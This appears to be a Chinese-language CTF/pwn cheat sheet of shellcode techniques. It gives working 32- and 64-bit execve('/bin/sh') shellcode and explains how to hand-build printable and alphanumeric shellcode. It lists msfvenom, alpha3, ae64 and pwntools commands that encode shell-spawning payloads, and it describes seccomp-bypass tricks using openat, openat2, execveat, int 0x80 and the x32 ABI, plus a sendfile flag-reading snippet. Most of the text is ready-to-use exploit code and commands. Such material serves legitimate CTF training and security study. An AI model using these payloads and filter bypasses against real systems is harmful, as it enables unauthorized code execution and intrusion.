Shellcode 合集

最短Shellcode

两段均为 execve("/bin/sh", NULL, NULL) shellcode。0x68732f2f6e69622f 是小端存放的 /bin//sh(双斜线避免 0x2f 出现在立即数里产生坏字符的麻烦,同时凑足 8 字节)。32 位走 int 0x80(eax=11),64 位走 syscall(rax=59),长度分别约 21、22 字节。

32位

1
2
3
4
5
6
7
push   0xb
pop eax
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
int 0x80

64位

1
2
3
4
5
6
7
8
9
xor 	rsi,	rsi			
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall

生成纯可见字符的shellcode

某些场景(如被 strcpy 类函数或输入校验过滤)要求 shellcode 的每个字节都落在可打印 ASCII(0x20 ~ 0x7E)范围内。思路是:只用操作码本身可打印的指令写一个”解码头”,运行时在栈上反向构造出原始 shellcode,再跳进去执行。

32 位下可打印的常用指令:

指令 操作码 对应字符
push/pop r32 0x50 ~ 0x5F P ~ ZX ~ _
inc/dec r32 0x40 ~ 0x4F @A ~ O
push imm32 0x68 + 4 字节 h....
sub al/eax, imm 0x2c / 0x2d ,-
xor al/eax, imm 0x34 / 0x35 45
and al/eax, imm 0x24 / 0x25 $%
pushad/popad 0x60 / 0x61 `a
条件短跳 0x70 ~ 0x7F p ~ o(0x7F 为 DEL 除外)

手工构造任意 32 位值的经典技巧:先把 eax 置零,再用三段 sub eax, imm32 减去三个可打印立即数,差值即为目标值,最后 push eax 上栈。重复此过程从后往前把原始 shellcode 逐 4 字节压栈,栈顶就是解码完成的 shellcode。

实际使用一般交给编码器:

1
2
3
4
5
6
7
8
# msfvenom:x86/alpha_mixed 输出纯可见字符(需指定基址寄存器)
msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/alpha_mixed BufferRegister=ECX -f c

# alpha3(SkyLined,32 位经典编码器)
./alpha3.py x86 ascii mixedcase ecx --input=sc.bin

# ae64(veritas501,支持 x86_64)
./ae64 -f sc.bin -t printable

生成纯字母和数字的shellcode

约束进一步收紧到 [0-9A-Za-z](0x300x39、0x410x5A、0x61~0x7A),-(sub)、, 等字符不再可用,可用指令缩减为:

指令 操作码 对应字符
push/pop r32 0x50 ~ 0x5A、0x61 不可(popad 除外) P ~ Za
inc/dec r32 0x41 ~ 0x4F(0x40 ‘@’ 已不可用) A ~ O
push imm32 0x68 h(立即数也须为字母数字)
xor eax, imm32 0x35 5
imul r32, ..., imm8 0x69 / 0x6b i / k
条件短跳 0x70 ~ 0x7A 中落字母区者 p ~ yz
jno/jo 0x71 / 0x70 q / p

失去了 sub,置零和构造值主要靠 push imm32 + xor eax, imm32 组合。例如置零 eax:

1
2
3
4
; 字节序列:hAAAA X 5AAAA  =>  "hAAAAX5AAAA",纯字母数字
push 0x41414141 ; 'h' 'A' 'A' 'A' 'A'
pop eax ; 'X'
xor eax, 0x41414141 ; '5' 'A' 'A' 'A' 'A',eax = 0

之后用 xor 链逐位构造目标值(rix 在 Phrack 57《Writing ia32 alphanumeric shellcodes》中给出完整推导),编码器把这套逻辑自动化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# msfvenom:alpha_upper 输出大写字母+数字
msfvenom -p linux/x86/exec CMD=/bin/sh -e x86/alpha_upper BufferRegister=ECX -f c

# alpha3 的 alphanum 模式
./alpha3.py x86 alnum uppercase ecx --input=sc.bin

# ae64 生成 x64 纯字母数字 shellcode
./ae64 -f sc.bin -t alphanumeric

# pwntools 内置编码器
python3 -c "
from pwn import *
context.arch = 'amd64'
sc = encoders.alphanumeric(asm(shellcraft.sh()))
print(sc)"

注意事项:

  • 编码器需要一个寄存器指向 shellcode 所在缓冲区(BufferRegister,常用 ECX/EDX),注入点不满足时需先手工调整。
  • 解码头依赖 getpc(获取自身地址)在栈上还原原始 shellcode,要求栈可写且解码后的区域可执行。
  • 编码后体积通常膨胀为原始的 2~4 倍,注入空间紧张的题目需要权衡。

高级系统调用

sendfile

1
ssize_t sendfile (int out_fd, int in_fd, off_t *offset, size_t count)

sendfile 在内核态直接完成 in_fdout_fd 的数据拷贝,一次系统调用顶 read+write 两步。orw(open-read-write)题目中用它把 flag 直接送到标准输出,省去一块缓冲区和对 rsi/rdx 的布置:

1
2
3
4
5
6
7
; open("/flag", 0) 拿到 fd=3 后:
mov rdi, 1 ; out_fd = stdout
mov rsi, 3 ; in_fd = flag 文件
xor rdx, rdx ; offset = NULL
mov r10, 0x100 ; count
mov rax, 40 ; sendfile
syscall

openat / openat2

1
2
int openat(int dirfd, const char *pathname, int flags, ... /* mode_t mode */);
int openat2(int dirfd, const char *pathname, struct open_how *how, size_t size);

openatdirfd 指向的目录为基准解析相对路径,dirfdAT_FDCWD(-100)时行为与 open 等价——seccomp 只 ban 了 open 时,openat 是最常用的替代品(rax=257)。

openat2(内核 5.6+,rax=437)把参数收进 struct open_how,并新增 resolve 标志位(如 RESOLVE_NO_SYMLINKSRESOLVE_IN_ROOT),既能用于防御路径逃逸,在攻击面题目里也是 open/openat 双 ban 时的下一线选择。

execveat

1
2
int execveat(int dirfd, const char *pathname,
char *const argv[], char *const envp[], int flags);

execve 的 dirfd 版本(rax=322)。flagsAT_EMPTY_PATH 且 pathname 为空串时,直接执行 dirfd 引用的文件——先 openat("/path/to/prog", O_PATH) 拿到 fd,再 execveat(fd, "", argv, envp, AT_EMPTY_PATH),等价于 glibc 的 fexecve,可绕过对 execve 的单独过滤。

64 位程序中的 32 位调用

64 位 Linux 同时兼容三套系统调用入口:

入口 调用号来源 特点
syscall x86-64 表(rax=59 execve) 常规 64 位调用
int 0x80 ia32 表(eax=11 execve) 64 位程序中仍可用,参数走 ebx/ecx/edx
syscall + 调用号 + 0x40000000 x32 ABI 表 64 位寄存器传 32 位指针

seccomp 规则若只过滤了 64 位调用号(如禁 execve=59),用 int 0x80 走 ia32 表或 x32 ABI 的调用号偏移往往能绕过——前提是 seccomp 没有同时检查 arch 字段。

常用 syscall 号速查(x86-64)

系统调用 调用号 关键参数寄存器
read 0 rdi=fd, rsi=buf, rdx=count
write 1 rdi=fd, rsi=buf, rdx=count
open 2 rdi=path, rsi=flags, rdx=mode
close 3 rdi=fd
mprotect 10 rdi=addr, rsi=len, rdx=prot
sendfile 40 rdi=out_fd, rsi=in_fd, rdx=offset, r10=count
execve 59 rdi=path, rsi=argv, rdx=envp
openat 257 rdi=dirfd, rsi=path, rdx=flags, r10=mode
execveat 322 rdi=dirfd, rsi=path, rdx=argv, r10=envp, r8=flags
openat2 437 rdi=dirfd, rsi=path, rdx=how, r10=size